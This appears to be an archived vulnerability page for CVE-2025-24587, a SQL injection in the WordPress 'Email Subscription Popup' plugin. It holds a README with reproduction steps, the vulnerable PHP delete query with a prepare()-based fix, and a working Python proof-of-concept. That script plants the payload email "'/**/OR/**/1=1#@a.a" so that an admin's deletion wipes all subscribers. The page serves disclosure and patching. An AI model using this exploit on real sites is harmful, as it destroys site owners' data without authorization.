Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2025-24587 PoC — WordPress plugin Email Subscription Popup SQL注入漏洞

Source
Associated Vulnerability
Title:WordPress plugin Email Subscription Popup SQL注入漏洞 (CVE-2025-24587)
Description:WordPress和WordPress plugin都是WordPress基金会的产品。WordPress是一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。WordPress plugin是一个应用插件。 WordPress plugin Email Subscription Popup 1.2.23版本及之前版本存在SQL注入漏洞,该漏洞源于SQL命令中所使用的特殊元素的中和不当,导致SQL注入漏洞。
Description
PoC of CVE-2025-24587
Readme
# CVE-2025-24587

# 1️⃣ Component type

WordPress plugin

# 2️⃣ Component details

`Component name` Email Subscription Popup

`Vulnerable version` <= 1.2.23

`Component slug` email-subscribe

`Component link` https://wordpress.org/plugins/email-subscribe/

# 3️⃣ OWASP 2017: TOP 10

`Vulnerability class` A3: Injection

`Vulnerability type` SQL Injection

# 4️⃣ Pre-requisite

Unauthenticated

# 5️⃣ **Vulnerability details**

## 👉 **Short description**

An unauthorized user (attacker) subscribes to the newsletter using an email address containing an SQL Injection payload. Later, when the administrator navigates to the "Subscriber Management" page, selects the malicious email address, and requests deletion, the SQL Injection payload embedded in the email address is executed. As a result, all subscribed email addresses are deleted from the database.

## 👉 **How to reproduce (PoC)**

1. Prepare a WordPress site with the "Email Subscription Popup" plugin (version ≤ 1.2.23) activated.
2. Run the `poc.py.txt` file (attached) using Python to subscribe to the newsletter with an email address containing a payload that triggers the SQL Injection vulnerability:
    - Email address: `'/**/OR/**/1=1#@a.a`
    - Note: Subscription using this email address is not possible via the client (browser) due to validation. Instead, send an HTTP request packet directly as shown in poc.py.txt.
3. Log in as an administrator and navigate to:
[`http://localhost:8080/wp-admin/admin.php?page=email_subscription_popup_subscribers_management`](http://localhost:8080/wp-admin/admin.php?page=email_subscription_popup_subscribers_management).
4. Select the email address `'/****/**OR**/****/1=1#@a.a` and click the "Delete Selected Subscribers" button at the bottom.
5. As a result, all subscribed email addresses will be deleted.

## 👉 **Additional information (optional)**

**[Cause of Vulnerability]**

This vulnerability occurs in the file wp-content/plugins/email-subscribe/wp-email-subscription.php, specifically between lines 2080 and 2084:

```php
# wp-content/plugins/email-subscribe/wp-email-subscription.php 의 
# line 2083 ~ line 2084
$query = "delete from  " . $wpdb->prefix . "nl_subscriptions where email='$em'";
$wpdb->query($query);
```

To resolve this issue, you can use `$wpdb->prepare()` provided by WordPress. This function safely escapes and formats variables used in SQL queries to prevent SQL injection attacks.

```php
$query = $wpdb->prepare(
    "DELETE FROM " . $wpdb->prefix . "nl_subscriptions WHERE email = %s",
    $em
);
$wpdb->query($query);
```

# ⭐ PoC Code

```python
import re
import string
import random
import requests

TARGET = "http://localhost:8080"

def poc():

    ####
    # 1. Retrieve the value of 'sec_string' required for email subscription
    ####
    resp = requests.get(f"{TARGET}")
    pattern = r'var nonce = \'(.{10})\';'
    match = re.search(pattern, resp.text)
    if match:
        sec_string = match.group(1)
        print("[*] sec_string: " + sec_string)
    
        ####
        # 2. Generate subscribers with random email addresses
        ####
        random_string = ''.join(random.choices(string.ascii_letters + string.digits, k=6))
        for i in range(10):
            data = {
                "action": "store_email",
                "email": f"{random_string}_{i}@example.com",
                "name": f"{random_string}_{i}",
                "is_agreed": "true",
                "sec_string": sec_string
            }
            print("[+] Successfully created subscriber #" + str(i) + " Email: " + data['email'] + ", Name: " + data['name'])
            requests.post(f"{TARGET}/wp-admin/admin-ajax.php", data=data)
        
        ####
        # 3. Create a malicious email address to delete all subscriptions
        ####
        data = {
            "action": "store_email",
            "email": "'/**/OR/**/1=1#@a.a",
            "name": "Email mine",
            "is_agreed": "true",
            "sec_string": sec_string
        }
        print("[+] Malicious email address created Email: " + data['email'] + ", Name: " + data['name'])
        requests.post(f"{TARGET}/wp-admin/admin-ajax.php", data=data)
    else:
        print("[-] 'sec_string' not found")
    

if __name__ == "__main__":
    poc()
```

## 6️⃣ Exploit Demo

[![video](https://img.youtube.com/vi/UG38B1MlUm8/0.jpg)](https://www.youtube.com/watch?v=UG38B1MlUm8)

## 7️⃣ References

- [https://nvd.nist.gov/vuln/detail/CVE-2025-24587](https://nvd.nist.gov/vuln/detail/CVE-2025-24587)
File Snapshot

[4.0K] /data/pocs/1ee300ccb16363c2d09cde3b21366e1805dfd0b8 ├── [1.6K] poc.py └── [4.5K] README.md 0 directories, 2 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.